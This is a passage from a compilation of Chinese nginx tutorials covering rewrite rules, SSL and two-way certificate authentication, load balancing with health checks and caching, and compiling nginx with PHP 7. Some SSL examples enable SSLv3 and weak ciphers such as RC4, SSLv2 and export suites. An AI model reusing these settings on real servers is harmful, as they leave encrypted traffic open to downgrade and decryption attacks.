                rewrite '^/images/([a-z]{2})/([a-z0-9]{5})/(.*)\.(png|jpg|gif)$' /data?file=$3.$4;
                # 注意不能在上面这条规则后面加上“last”参数，否则下面的set指令不会执行
                set $image_file $3;
                set $image_type $4;
        }

        location /data {
                # 指定针对图片的日志格式，来分析图片类型和大小
                access_log logs/images.log mian;
                root /data/images;
                # 应用前面定义的变量。判断首先文件在不在，不在再判断目录在不在，如果还不在就跳转到最后一个url里
                try_files /$arg_file /image404.html;
        }
        location = /image404.html {
                # 图片不存在返回特定的信息
                return 404 "image not found\n";
        }
}




对形如/images/ef/uh7b3/test.png的请求，重写到/data?file=test.png，于是匹配到location /data，先看/data/images/test.png文件存不存在，如果存在则正常响应，如果不存在则重写tryfiles到新的image404 location，直接返回404状态码。


例2：


rewrite ^/images/(.*)_(\d+)x(\d+)\.(png|jpg|gif)$ /resizer/$1.$4?width=$2&height=$3? last;



对形如/images/bla_500x400.jpg的文件请求，重写到/resizer/bla.jpg?width=500&height=400地址，并会继续尝试匹配location。


例3：

见 ssl部分页面加密 。


参考



	http://www.nginx.cn/216.html

	http://www.ttlsa.com/nginx/nginx-rewriting-rules-guide/

	《老僧系列nginx之rewrite规则快速上手.pdf》

	
http://fantefei.blog.51cto.com/2229719/919431   
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 nginx配置ssl加密（单/双向认证、部分https）

作者：seanlook

来源： nginx配置ssl加密（单/双向认证、部分https）



                    
nginx下配置ssl本来是很简单的，无论是去认证中心买SSL安全证书还是自签署证书，但最近公司OA的一个需求，得以有个机会实际折腾一番。一开始采用的是全站加密，所有访问http:80的请求强制转换（rewrite）到https，后来自动化测试结果说响应速度太慢，https比http慢慢30倍，心想怎么可能，鬼知道他们怎么测的。所以就试了一下部分页面https（不能只针对某类动态请求才加密）和双向认证。下面分节介绍。


默认nginx是没有安装ssl模块的，需要编译安装nginx时加入--with-http_ssl_module选项。


关于SSL/TLS原理请参考 这里，如果你只是想测试或者自签发ssl证书，参考 这里 。


提示：nignx到后端服务器由于一般是内网，所以不加密。


1. 全站ssl


全站做ssl是最常见的一个使用场景，默认端口443，而且一般是单向认证。


server {
        listen 443;
        server_name example.com;

        root /apps/www;
        index index.html index.htm;

        ssl on;
        ssl_certificate ../SSL/ittest.pem;
        ssl_certificate_key ../SSL/ittest.key;

#        ssl_protocols SSLv3 TLSv1 TLSv1.1 TLSv1.2;
#        ssl_ciphers ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP;
#        ssl_prefer_server_ciphers on;

}



如果想把http的请求强制转到https的话：


server {
  listen      80;
  server_name example.me;
  rewrite     ^   https://$server_name$request_uri? permanent;

### 使用return的效率会更高 
#  return 301 https://$server_name$request_uri;
}



ssl_certificate证书其实是个公钥，它会被发送到连接服务器的每个客户端，ssl_certificate_key私钥是用来解密的，所以它的权限要得到保护但nginx的主进程能够读取。当然私钥和证书可以放在一个证书文件中，这种方式也只有公钥证书才发送到client。


ssl_protocols指令用于启动特定的加密协议，nginx在1.1.13和1.0.12版本后默认是ssl_protocols SSLv3 TLSv1 TLSv1.1 TLSv1.2，TLSv1.1与TLSv1.2要确保OpenSSL >= 1.0.1 ，SSLv3 现在还有很多地方在用但有不少被攻击的漏洞。


ssl_ciphers选择加密套件，不同的浏览器所支持的套件（和顺序）可能会不同。这里指定的是OpenSSL库能够识别的写法，你可以通过 openssl -v cipher 'RC4:HIGH:!aNULL:!MD5'（后面是你所指定的套件加密算法） 来看所支持算法。


ssl_prefer_server_ciphers on设置协商加密算法时，优先使用我们服务端的加密套件，而不是客户端浏览器的加密套件。


https优化参数



	
ssl_session_cache shared:SSL:10m; : 设置ssl/tls会话缓存的类型和大小。如果设置了这个参数一般是shared，buildin可能会参数内存碎片，默认是none，和off差不多，停用缓存。如shared:SSL:10m表示我所有的nginx工作进程共享ssl会话缓存，官网介绍说1M可以存放约4000个sessions。 详细参考serverfault上的问答ssl_session_cache。

	
ssl_session_timeout ： 客户端可以重用会话缓存中ssl参数的过期时间，内网系统默认5分钟太短了，可以设成30m即30分钟甚至4h。



设置较长的keepalive_timeout也可以减少请求ssl会话协商的开销，但同时得考虑线程的并发数了。


提示：在生成证书请求csr文件时，如果输入了密码，nginx每次启动时都会提示输入这个密码，可以使用私钥来生成解密后的key来代替，效果是一样的，达到免密码重启的效果：


openssl rsa -in ittest.key -out ittest_unsecure.key



导入证书


如果你是找一个知名的ssl证书颁发机构如VeriSign、Wosign、StartSSL签发的证书，浏览器已经内置并信任了这些根证书，如果你是自建C或获得二级CA授权，都需要将CA证书添加到浏览器，这样在访问站点时才不会显示不安全连接。各个浏览的添加方法不在本文探讨范围内。


2. 部分页面ssl


一个站点并不是所有信息都是非常机密的，如网上商城，一般的商品浏览可以不通过https，而用户登录以及支付的时候就强制经过https传输，这样用户访问速度和安全性都得到兼顾。


但是请注意不要理解错了，是对页面加密而不能针对某个请求加密，一个页面或地址栏的URL一般会发起许多请求的，包括css/png/js等静态文件和动态的java或php请求，所以要加密的内容包含页面内的其它资源文件，否则就会出现http与https内容混合的问题。在http页面混有https内容时，页面排版不会发生乱排现象；在https页面中包含以http方式引入的图片、js等资源时，浏览器为了安全起见会阻止加载。


下面是只对example.com/account/login登录页面进行加密的栗子：


root /apps/www;
index index.html index.htm;

server {
    listen      80;
    server_name example.com;

    location ^~ /account/login {
        rewrite ^ https://$server_name:443$request_uri? permanent;
    }
    location / {
        proxy_pass  http://localhost:8080;

        ### Set headers ####
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_redirect     off; 
    }
}

server {
    listen 443 ssl;
    server_name example.com;

    ssl on;
    ssl_certificate ../SSL/ittest.pem;
    ssl_certificate_key ../SSL/ittest.key;
    ssl_protocols SSLv3 TLSv1 TLSv1.1 TLSv1.2;
    ssl_ciphers ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP;
    ssl_prefer_server_ciphers on;

    location ^~ /account/login {
        proxy_pass  http://localhost:8080;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_redirect     off; 

        ### Most PHP, Python, Rails, Java App can use this header -> https ###
        proxy_set_header X-Forwarded-Proto  $scheme;
    }
    location / {
        rewrite  ^  http://$server_name$request_uri? permanent;
    }
}



关于rewrite与location的写法参考这里。当浏览器访问http://example.com/account/login.xx时，被301到https://example.com/account/login.xx，在这个ssl加密的虚拟主机里也匹配到/account/login，反向代理到后端服务器，后面的传输过程是没有https的。这个login.xx页面下的其它资源也是经过https请求nginx的，登录成功后跳转到首页时的链接使用http，这个可能需要开发代码里面控制。



	上面配置中使用了proxy_set_header X-Forwarded-Proto  $scheme，在jsp页面使用request.getScheme()得到的是https 。如果不把请求的$scheme协议设置在header里，后端jsp页面会一直认为是http，将导致响应异常。

	ssl配置块还有个与不加密的80端口类似的location /，它的作用是当用户直接通过https访问首页时，自动跳转到不加密端口，你可以去掉它允许用户这样做。



3. 实现双向ssl认证


上面的两种配置都是去认证被访问的站点域名是否真实可信，并对传输过程加密，但服务器端并没有认证客户端是否可信。（实际上除非特别重要的场景，也没必要去认证访问者，除非像银行U盾这样的情况）


要实现双向认证HTTPS，nginx服务器上必须导入CA证书（根证书/中间级证书），因为现在是由服务器端通过CA去验证客户端的信息。还有必须在申请服务器证书的同时，用同样的方法生成客户证书。取得客户证书后，还要将它转换成浏览器识别的格式（大部分浏览器都认识PKCS12格式）：


openssl pkcs12 -export -clcerts -in client.crt -inkey client.key -out client.p12



然后把这个client.p12发给你相信的人，让它导入到浏览器中，访问站点建立连接的时候nginx会要求客户端把这个证书发给自己验证，如果没有这个证书就拒绝访问。


同时别忘了在 nginx.conf 里配置信任的CA：（如果是二级CA，请把根CA放在后面，形成CA证书链）


    proxy_ignore_client_abort on；

    ssl on;
    ...
    ssl_verify_client on;
    ssl_verify_depth 2;
    ssl_client_certificate ../SSL/ca-chain.pem;

#在双向location下加入：
    proxy_set_header X-SSL-Client-Cert $ssl_client_cert;



拓展：使用geo模块


nginx默认安装了一个ngx_http_geo_module，这个geo模块可以根据客户端IP来创建变量的值，用在如来自172.29.73.0/24段的IP访问login时使用双向认证，其它段使用一般的单向认证。


geo $duplexing_user {
    default 1;
    include geo.conf;  # 注意在0.6.7版本以后，include是相对于nginx.conf所在目录而言的
}



语法 geo [$address] $variable { … }，位于http段，默认地址是$reoute_addr，假设 conf/geo.conf 内容：


127.0.0.1/32    LOCAL;  # 本地
172.29.73.23/32 SEAN;   # 某个IP
172.29.73.0/24  1;      # IP段，可以按国家或地域定义后面的不同的值



需要配置另外一个虚拟主机server{ssl 445}，里面使用上面双向认证的写法，然后在80或443里使用变量$duplexing_user去判断，如果为1就rewrite到445，否则rewrite到443。具体用法可以参考nginx geo使用方法。


参考



	Nginx部署部分https与部分http

	Linux+Nginx/Apache/Tomcat新增SSL证书，开启https访问教程

	SSL & SPDY 已全面部署

	SSL证书与Https应用部署小结  

	ngx_http_ssl_module docs

	Optimizing HTTPS on Nginx

	http://zhangge.net/4861.html

	http://blog.chinaunix.net/uid-192074-id-3135733.html





原文链接地址：http://seanlook.com/2015/05/28/nginx-ssl/





 nginx做负载均衡器以及proxy缓存配置

作者：seanlook

来源： nginx做负载均衡器以及proxy缓存配置



                    
关于nginx的安装和基本配置请参考nginx，本文在原基础上完成以下几个功能：



	结合proxy和upstream模块实现nginx负载均衡

	结合nginx_upstream_check_module模块实现后端服务器的健康检查

	使用nginx-sticky-module扩展模块实现Cookie会话黏贴（session-sticky效果）

	使用proxy模块实现静态文件缓存

	使用ngx_cache_purge实现更强大的缓存清除功能



更多内容见我的博客 http://seanlook.com/ 。


1. 安装及模块说明


上面提到的3个模块都属于第三方扩展模块，需要提前下好源码，然后编译时通过--add-moudle=src_path一起安装。


注意：



	使用 nginx_upstream_check_module(简记为m1) 时要先为nginx打上相应版本的patch，我的nginx版本为 1.6.3，所以patch对应 m1 解压后目录下的check_1.5.12+.patch，所以进入nginx源码目录，执行 patch -p1 ...（见下方示例）

	nginx-sticky-module-ng(简记为m2) 模块可以单独使用，但是因为m1监控检查的方式是依赖于m2的，所以要使用m2，还要对m1打上patch，进入m2源码目录，执行 patch -p0...



编译示例：（CentOS 6.5 x86_64, nginx 1.6.3）


# yum -y install gcc gcc-c++ make libtool zlib zlib-devel openssl openssl--devel pcre pcre-devel

# cd nginx-1.6.3
# patch -p1 < ../nginx_upstream_check_module-0.3.0/check_1.5.12+.patch

# cd ../nginx-sticky-module-ng-1.2.5
# patch -p0 < ../nginx_upstream_check_module-0.3.0/nginx-sticky-module.patch

# ./configure --prefix=/usr/local/nginx-1.6 --with-pcre 
--with-http_stub_status_module --with-http_ssl_module --with-http_gzip_static_module --with-http_realip_module 
--add-module=../nginx_upstream_check_module-0.3.0 --add-module=../nginx-sticky-module-ng-1.2.5 --add-module=../ngx_cache_purge-2.3
# make && make install



如果你想在已安装好的nginx上添加第三方模块，依然需要重新编译，但为了不覆盖你原有的配置，请不要make install，而是直接拷贝可执行文件：


# nginx -V              //可以看到原来的编译选项，下面用到
# ./configure ... --add-module=..       //你的第三方模块
# make           //make后不要install，改用手动拷贝。先备份
# cp objs/nginx /usr/local/nginx-1.6/sbin/nginx



2. nginx-sticky-module


项目地址：https://bitbucket.org/nginx-goodies/nginx-sticky-module-ng


这个模块的作用是通过cookie黏贴的方式将来自同一个客户端（浏览器）的请求发送到同一个后端服务器上处理，这样一定程度上可以解决多个backend servers的session同步的问题 —— 因为不再需要同步，而RR轮询模式必须要运维人员自己考虑session同步的实现。


另外内置的 ip_hash 也可以实现根据客户端IP来分发请求，但它很容易造成负载不均衡的情况，而如果nginx前面有CDN网络或者来自同一局域网的访问，它接收的客户端IP是一样的，容易造成负载不均衡现象。淘宝Tengine的 ngx_http_upstream_session_sticky_module 也是类似的功能。nginx-sticky-module的cookie过期时间，默认浏览器关闭就过期，也就是会话方式。


这个模块并不合适不支持 Cookie 或手动禁用了cookie的浏览器，此时默认sticky就会切换成RR。它不能与ip_hash同时使用。







2.1 sticky配置


upstream backend {
    server 172.29.88.226:8080 weight=1;
    server 172.29.88.227:8080 weight=1;
    sticky;
}



配置起来超级简单，一般来说一个sticky指令就够了。


sticky [name=route] [domain=.foo.bar] [path=/] [expires=1h] [hash=index|md5|sha1] [no_fallback];：



	
name: 可以为任何的 string 字符,默认是 route

	
domain：哪些域名下可以使用这个 cookie 

	
path：哪些路径对启用 sticky，例如 path/test，那么只有 test 这个目录才会使用 sticky 做负载均衡

	
expires：cookie 过期时间，默认浏览器关闭就过期，也就是会话方式。

	
no_fallbackup：如果设置了这个，cookie 对应的服务器宕机了，那么将会返回502（bad gateway 或者 proxy error），建议不启用



你在查看官方文档可能会注意到里面也有个 sticky 指令，要说它们的作用几乎是一样的，但是你可能注意到This directive is available as part of our commercial subscription.的说明 —— 这是nginx商业版本里才有的特性。包括后面的check指令，在nginx的商业版本里也有对应的health_check（配在 location ）实现几乎一样的监控检查功能。


2.2 load-balance其它调度方案


这里顺带介绍一下nginx的负载均衡模块支持的其它调度算法：



	
轮询（默认） ： 每个请求按时间顺序逐一分配到不同的后端服务器，如果后端某台服务器宕机，故障系统被自动剔除，使用户访问不受影响。Weight 指定轮询权值，Weight值越大，分配到的访问机率越高，主要用于后端每个服务器性能不均的情况下。

	
ip_hash ： 每个请求按访问IP的hash结果分配，这样来自同一个IP的访客固定访问一个后端服务器，有效解决了动态网页存在的session共享问题。当然如果这个节点不可用了，会发到下个节点，而此时没有session同步的话就注销掉了。

	
least_conn ： 请求被发送到当前活跃连接最少的realserver上。会考虑weight的值。

	
url_hash ： 此方法按访问url的hash结果来分配请求，使每个url定向到同一个后端服务器，可以进一步提高后端缓存服务器的效率。Nginx本身是不支持url_hash的，如果需要使用这种调度算法，必须安装Nginx 的hash软件包 nginx_upstream_hash 。

	
fair ： 这是比上面两个更加智能的负载均衡算法。此种算法可以依据页面大小和加载时间长短智能地进行负载均衡，也就是根据后端服务器的响应时间来分配请求，响应时间短的优先分配。Nginx本身是不支持fair的，如果需要使用这种调度算法，必须下载Nginx的 upstream_fair 模块。



3. 负载均衡与健康检查


严格来说，nginx自带是没有针对负载均衡后端节点的健康检查的，但是可以通过默认自带的 ngx_http_proxy_module 模块和 ngx_http_upstream_module 模块中的相关指令来完成当后端节点出现故障时，自动切换到下一个节点来提供访问。


3.1 load-balance示例


upstream backend {
    ip_hash;
    server 172.29.88.226:8080 weight 2;
    server 172.29.88.226:8080 weight=1 max_fails=2 fail_timeout=30s ;
    server 172.29.88.227:8080 backup;
}
server {
    location / {
        proxy_pass http://backend;
        proxy_next_upstream error timeout invalid_header http_500 http_502 http_503 http_504;
    }




	
weight ： 轮询权值也是可以用在ip_hash的，默认值为1

	
max_fails ： 允许请求失败的次数，默认为1。当超过最大次数时，返回proxy_next_upstream 模块定义的错误。

	
fail_timeout ： 有两层含义，一是在 30s 时间内最多容许 2 次失败；二是在经历了 2 次失败以后，30s时间内不分配请求到这台服务器。

	
backup ： 预留的备份机器。当其他所有的非backup机器出现故障的时候，才会请求backup机器，因此这台机器的压力最轻。（为什么我的1.6.3版本里配置backup启动nginx时说invalid parameter "backup"？）

	max_conns： 限制同时连接到某台后端服务器的连接数，默认为0即无限制。因为queue指令是commercial，所以还是保持默认吧。


	proxy_next_upstream ： 这个指令属于 http_proxy 模块的，指定后端返回什么样的异常响应时，使用另一个realserver




3.2 nginx_upstream_check_module


nginx_upstream_check_module 是专门提供负载均衡器内节点的健康检查的外部模块，由淘宝的姚伟斌大神开发，通过它可以用来检测后端 realserver 的健康状态。如果后端 realserver 不可用，则后面的请求就不会转发到该节点上，并持续检查几点的状态。在淘宝自己的 tengine 上是自带了该模块。项目地址：https://github.com/yaoweibin/nginx_upstream_check_module 。


下面的是一个带后端监控检查的 nginx.conf 配置：


upstream backend {
    sticky;     # or simple round-robin
    server 172.29.88.226:8080 weight=2;
    server 172.29.88.226:8081 weight=1 max_fails=2 fail_timeout=30s ;
    server 172.29.88.227:8080 weight=1 max_fails=2 fail_timeout=30s ;
    server 172.29.88.227:8081;

    check interval=5000 rise=2 fall=3 timeout=1000 type=http;
    check_http_send "HEAD / HTTP/1.0\r\n\r\n";
    check_http_expect_alive http_2xx http_3xx;
}
server {
    location / {
        proxy_pass http://backend;
    }
    location /status {
        check_status;
        access_log   off;
        allow 172.29.73.23;
        deny all;
    }



上面配置的意思是，对name这个负载均衡条目中的所有节点，每个5秒检测一次，请求2次正常则标记 realserver状态为up，如果检测 3 次都失败，则标记 realserver的状态为down，超时时间为1秒。


check指令只能出现在upstream中：



	
interval ： 向后端发送的健康检查包的间隔。

	
fall ： 如果连续失败次数达到fall_count，服务器就被认为是down。

	
rise ： 如果连续成功次数达到rise_count，服务器就被认为是up。

	
timeout ： 后端健康请求的超时时间。

	
default_down ： 设定初始时服务器的状态，如果是true，就说明默认是down的，如果是false，就是up的。默认值是true，也就是一开始服务器认为是不可用，要等健康检查包达到一定成功次数以后才会被认为是健康的。

	
type：健康检查包的类型，现在支持以下多种类型


	
tcp：简单的tcp连接，如果连接成功，就说明后端正常。

	
http：发送HTTP请求，通过后端的回复包的状态来判断后端是否存活。

	
ajp：向后端发送AJP协议的Cping包，通过接收Cpong包来判断后端是否存活。

	
ssl_hello：发送一个初始的SSL hello包并接受服务器的SSL hello包。

	
mysql: 向mysql服务器连接，通过接收服务器的greeting包来判断后端是否存活。

	
fastcgi：发送一个fastcgi请求，通过接受解析fastcgi响应来判断后端是否存活





	
port: 指定后端服务器的检查端口。你可以指定不同于真实服务的后端服务器的端口，比如后端提供的是443端口的应用，你可以去检查80端口的状态来判断后端健康状况。默认是0，表示跟后端server提供真实服务的端口一样。该选项出现于Tengine-1.4.0。



如果 type 为 http ，你还可以使用check_http_send来配置http监控检查包发送的请求内容，为了减少传输数据量，推荐采用 HEAD 方法。当采用长连接进行健康检查时，需在该指令中添加keep-alive请求头，如： HEAD / HTTP/1.1\r\nConnection: keep-alive\r\n\r\n 。当采用 GET 方法的情况下，请求uri的size不宜过大，确保可以在1个interval内传输完成，否则会被健康检查模块视为后端服务器或网络异常。


check_http_expect_alive指定HTTP回复的成功状态，默认认为 2XX 和 3XX 的状态是健康的。








4. nginx的proxy缓存使用


nginx的页面缓存功能与上面的负载均衡和健康检查是没有关系的，放在这里一是因为懒得再起一篇文章，二是再有load-balance的地方一般都会启用缓存的。


缓存也就是将js、css、image等静态文件从tomcat缓存到nginx指定的缓存目录下，既可以减轻tomcat负担，也可以加快访问速度，但这样缓存及时清理成为了一个问题，所以需要 ngx_cache_purge 这个模块来在过期时间未到之前，手动清理缓存。（这里有篇 文章，对比使用缓存、不使用缓存、使用动静分离三种情况下，高并发性能比较。使用代理缓存功能性能会高出很多倍）


http {
    ... // $upstream_cache_status记录缓存命中率
    log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"'
                      '"$upstream_cache_status"';

    proxy_temp_path   /usr/local/nginx-1.6/proxy_temp;
    proxy_cache_path /usr/local/nginx-1.6/proxy_cache levels=1:2 keys_zone=cache_one:100m inactive=2d max_size=2g;

    server {
        listen       80; 
        server_name  ittest.example.com;
        root   html;
        index  index.html index.htm index.jsp;

        location ~ .*\.(gif|jpg|png|html|css|js|ico|swf|pdf)(.*) {
            proxy_pass  http://backend;
            proxy_redirect off;
            proxy_set_header Host $host;
            proxy_set_header   X-Real-IP   $remote_addr;
            proxy_set_header   X-Forwarded-For $proxy_add_x_forwarded_for;

            proxy_cache cache_one;
            add_header Nginx-Cache $upstream_cache_status;
            proxy_cache_valid  200 304 301 302 8h;
            proxy_cache_valid 404 1m;
            proxy_cache_valid  any 2d;
            proxy_cache_key $host$uri$is_args$args;
            expires 30d;
        }

        location ~ /purge(/.*) {
            #设置只允许指定的IP或IP段才可以清除URL缓存。
            allow   127.0.0.1;
            allow   172.29.73.0/24;
            deny    all;
            proxy_cache_purge  cache_one $host$1$is_args$args;
            error_page 405 =200 /purge$1;
        }
    }
}



说明



	
proxy_temp_path ： 缓存临时目录。后端的响应并不直接返回客户端，而是先写到一个临时文件中，然后被rename一下当做缓存放在 proxy_cache_path 。0.8.9版本以后允许temp和cache两个目录在不同文件系统上（分区），然而为了减少性能损失还是建议把它们设成一个文件系统上。

	proxy_cache_path ... ： 设置缓存目录，目录里的文件名是 cache_key 的MD5值。
levels=1:2 keys_zone=cache_one:50m表示采用2级目录结构，Web缓存区名称为cache_one，内存缓存空间大小为100MB，这个缓冲zone可以被多次使用。文件系统上看到的缓存文件名类似于 /usr/local/nginx-1.6/proxy_cache/c/29/b7f54b2df7773722d382f4809d65029c 。
inactive=2d max_size=2g表示2天没有被访问的内容自动清除，硬盘最大缓存空间为2GB，超过这个大学将清除最近最少使用的数据。


	proxy_cache ： 引用前面定义的缓存区 cache_one


	
proxy_cache_key ： 定义cache_key

	
proxy_cache_valid ： 为不同的响应状态码设置不同的缓存时间，比如200、302等正常结果可以缓存的时间长点，而404、500等缓存时间设置短一些，这个时间到了文件就会过期，而不论是否刚被访问过。

	
expires ： 在响应头里设置Expires:或Cache-Control:max-age，返回给客户端的浏览器缓存失效时间。



关于缓存的失效期限上面有三个选项：X-Accel-Expires、inactive、proxy_cache_valid、expires，它们之间是有优先级的，按上面的顺序如果在header里设置 X-Accel-Expires 则它的优先级最高，否则inactive优先级最高。更多资料请参考 nginx缓存优先级 或这里。



清除缓存


上述配置的proxy_cache_purge指令用于方便的清除缓存，但必须按照第三方的 ngx_cache_purge 模块才能使用，项目地址：https://github.com/FRiCKLE/ngx_cache_purge/ 。


使用 ngx_cache_purge 模块清除缓存有2种办法（直接删除缓存目录下的文件也算一种办法）：



	echo发送PURGE指令
proxy_cache_purge PURGE from 127.0.0.1表示只允许在来自本地的清除指令



# echo -e 'PURGE / HTTP/1.0\r\n' | nc 127.0.0.1 80




	GET方式请求URL

即使用配置文件中的location ~ /purge(/.*)，浏览器访问http://ittest.example.com/purge/your/may/path来清除缓存，或者echo -e 'GET /purge/ HTTP/1.0\r\n' | nc ittest.example.com 80







参考



	official documentation

	Nginx实战系列之功能篇----后端节点健康检查

	Tengine nginx_upstream_check_module

	nginx反向代理tomcat集群做负载均衡缓存

	web内容缓存 nginx高性能缓存详解

	使用nginx sticky实现基于cookie的负载均衡
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 编译安装nginx1.9.7+php7.0.0服务器环境

作者：唐霜

来源： 编译安装nginx1.9.7+php7.0.0服务器环境



                    
一直以来我都通过网上的一些材料去搭建lnmp环境，通过直接yum安装nginx mysql php等软件。但是为了原生态的编译安装最新的软件版本，我决定自己亲手搭建lnmp环境，采用最新的nginx1.9.7(昨天出了1.9.8)和php7来研究如何搭建起nginx最新版本和php7的环境。

nginx的编译安装

编译环境

在linux使用make方式安装，需要保证linux已经具备比较OK的编译环境，例如gcc等编译工具。一般而言，服务器提供商在安装的系统中已经默认集成了这些软件，但是为了保险起见，我们还是通过一些较为基础的方式，把这些依赖包都跑一遍，以防在之后的编译中出差错。

$ yum -y install gcc gcc-c++ autoconf automake libtool make cmake
$ yum -y install zlib zlib-devel openssl openssl-devel pcre-devel


zlib: 为nginx提供gzip模块，需要zlib库支持

openssl: 为nginx提供ssl功能

pcre: 为支持地址重写rewrite功能

确保pcre已正确安装

在上面的基础环境安装中，我们已经yum安装了pcre，但是部分服务器上并没有pcre的安装包，所以我们可以通过下载tar包自行编译安装pcre。

搜索pcre，进入其官网，找到最新的版本，复制tar.gz的下载连接，执行如下操作：

$ wget http://pcre/xxx/xxx/xxx最新版xxx.tar.gz
$ tar zxvf xxxx.tar.gz
$ cd xxxx
$ ./configure
$ make install


这样就可以保证安装pcre了。

创建用来运行nginx的用户及组

我们创建一个新的用户和用户组来运行nginx，这样可以把nginx和root分开，保证nginx不具备root权限。但是，我们并不希望nginx成为一个真实的可以登陆到远程进行操作的用户，所以，我们并不给它创建家目录，在useradd的时候，用-M参数：

$ groupadd nginx
$ useradd -g nginx -M nginx


-g参数为nginx用户指定了一个组。-M参数保证其不自动生成home目录。

但通过上面的用户创建之后，nginx用户可以通过设置一个密码登陆到服务器，这个不是我们想要的，我们禁用它的ssh登陆权限.禁止用户登陆也很方便，只需要修改配置文件中有关用户和用户组的信息即可。

$ vi /etc/passwd


找到nginx，将后面的/bin/bash改为/sbin/nologin即可。

OK，用户处理完毕。

编译安装Nginx

前面讲了这么多，都还没有说到重点，接下来我们来编译安装nginx。先进入nginx的官方网站，找到最新版本的tar.gz包的链接，复制链接，然后执行下面的动作：

$ wget http://xxxxxxxxxx/nginx1.7.x.tar.gz
$ tar zxvf nginx1.7.x.tar.gz
$ cd nginx1.7.x


接下来我们需要执行./configure，不同的开发者有不同的习惯，对于刚入门的用户而言，不是很喜欢麻烦的去进行配置，总是希望默认就是最好的，但是实际情况恰好相反，走上linux的道，就请热爱折腾，既然选择编译安装，就请热爱make。

我希望把软件安装在/user/local下面，一个软件一个目录，在以后卸载的时候也比较方便清理。软件的目录也按照linux的目录形式，用conf、etc、sbin、run等进行归类管理，所以，我最终的./configure配置如下：

$ ./configure --prefix=/usr/local/nginx \
--pid-path=/usr/local/nginx/run/nginx.pid \
--with-http_ssl_module \
--user=nginx \
 --group=nginx \
--with-pcre \
--without-mail_pop3_module \
--without-mail_imap_module \
--without-mail_smtp_module


末尾三个是禁用nginx作为邮件代理服务器，我一般只用服务器作为网站或数据库的服务器，所以这里把它们禁用掉，你如果想搭建的是邮件服务器，那么就应该去阅读nginx搭建邮件服务器的教程。

你可以认真阅读一下./configure的结果，看看有没有报错，或者加载的模块是不是都齐全，如果一切OK，那么往下继续，如果感觉不对，可以用./configure --help认真阅读一下。

$ make
$ make install


make的地方有一个小技巧，如果服务器是双核，可以通过-j2来指定用双核进行编译，-j4代表4核编译。

安装到这里就结束了，但是，安装完可没完事儿，nginx还没有运行起来，你可以先去看看安装的结果，并且运行nginx服务器：

$ cd /usr/local/nginx
$ ls
$ sbin/nginx


这样就运行起来了，访问你的服务器ip，看看能否看到ngin的欢迎页面吧。（不要让其他软件占用80端口哦）默认情况下网页文件放在/usr/local/nginx/html下，不符合我们的使用习惯，这个需要修改nginx的配置文件来修改，不过即使不修改，我们也是可以正常使用的，我们就不详细解释nginx的配置了。

nginx服务的载入

但是，make编译安装的软件，可不像yum安装的服务，我们熟悉的service命令并不起效，不然你用service nginx restart试试看。这是因为service调用/etc/ini.d/目录下的程序完成，而该目录下并不存在nginx这个程序。那么这个时候怎么重启nginx呢？如下操作：

$ /usr/local/nginx/sbin/nginx -s reload


这个操作可以重新加载nginx的配置文件，相当于重启(当配置文件出错时，不会重启)。如果一定要重启整个服务，那只能通过杀死nginx进程，然后在运行程序了。

不过为了使用我们熟悉的service操作，这里提供一个程序，放到/etc/ini.d/目录下，并执行：

$ chmod +x /etc/init.d/nginx 
$ chkconfig --add nginx
$ chkconfig nginx on


这样就可以通过service nginx restart等方法来操作nginx了。你可以把程序下载下来，简单研究一下，如果你的nginx安装路径和我的不同，还要修改程序开头的变量设置。

PHP7的编译安装

依赖环境

惯例是先解决一些编译的依赖包

$ yum -y install libxml2 libxml2-devel openssl openssl-devel curl-devel libjpeg-devel libpng-devel freetype-devel libmcrypt-devel


编译安装php7

在《lamp升级php至php7》一文中，我谈到了如何在apache的服务器环境中升级php到7，而到nginx环境下，我们不再使用php的apxs模块，而是直接使用php-fpm模块。接下来，我们来尝试编译安装php7。

先从官方网站下载php7，并且解压，由于上面这篇文章已经有了相关步骤，就不做过多详解：

$ wget http://am1.php.net/get/php-7.0.0.tar.gz/from/this/mirror
$ tar zvxf php-7.0.0.tar.gz
$ cd php-7.0.0


接下来要进行编译前的配置，和上面一篇文章不同，我们不提供apxs参数，相反，我们提供php-fpm相关参数：

$ ./configure --prefix=/usr/local/php7 \
--with-config-file-path=/usr/local/php7/etc \
--with-config-file-scan-dir=/usr/local/php7/etc/php.d \
--with-mcrypt=/usr/include \
--enable-mysqlnd \
--with-mysqli \
--with-pdo-mysql \
--enable-fpm \
--with-fpm-user=nginx \
--with-fpm-group=nginx \
--with-gd \
--with-iconv \
--with-zlib \
--enable-xml \
--enable-shmop \
--enable-sysvsem \
--enable-inline-optimization \
--enable-mbregex \
--enable-mbstring \
--enable-ftp \
--enable-gd-native-ttf \
--with-openssl \
--enable-pcntl \
--enable-sockets \
--with-xmlrpc \
--enable-zip \
--enable-soap \
--without-pear \
--with-gettext \
--enable-session \
--with-curl \
--with-jpeg-dir \
--with-freetype-dir \
--enable-opcache


配置无误后执行：

$ make
$ make install


同样可以使用-j2哦。如果安装成功，OK，那么php7的安装就OK了。

调整php配置

默认安装好之后，你会发现/usr/local/php7/etc下面没有php.ini文件，这个去哪里要呢？在php7的源码安装包都有。

$ cd /usr/src/php-7.0.0/
$ ls


可以看到有两个php.ini-xxx文件，我们可以分别vi打开来看下，一个是产品模式，一个是开发模式。

$ cp php.ini-production /usr/local/php7/etc/php.ini
$ vi /usr/local/php7/etc/php.ini


可以看到php的配置。本文就不做过多的配置解释了。

启用php-fpm服务

上面我们在编译php7的时候，已经将fpm模块编译了，那么接下来，我们要启用php-fpm。但是默认情况下它的配置文件和服务都没有启用，所以要我们自己来搞定。

搞定配置文件：

$ cd /usr/local/php7/etc
$ mv php-fpm.conf.default php-fpm.conf
$ mv php-fpm.d/www.conf.default php-fpm.d/www.conf


php-fpm的具体配置我们也不做深入去详解，因为在编译之前./configure的时候，我们都已经确定了一些配置，比如运行fpm的用户和用户组之类的，所以默认配置应该不会存在路径问题和权限问题。

搞定php-fpm的服务载入：

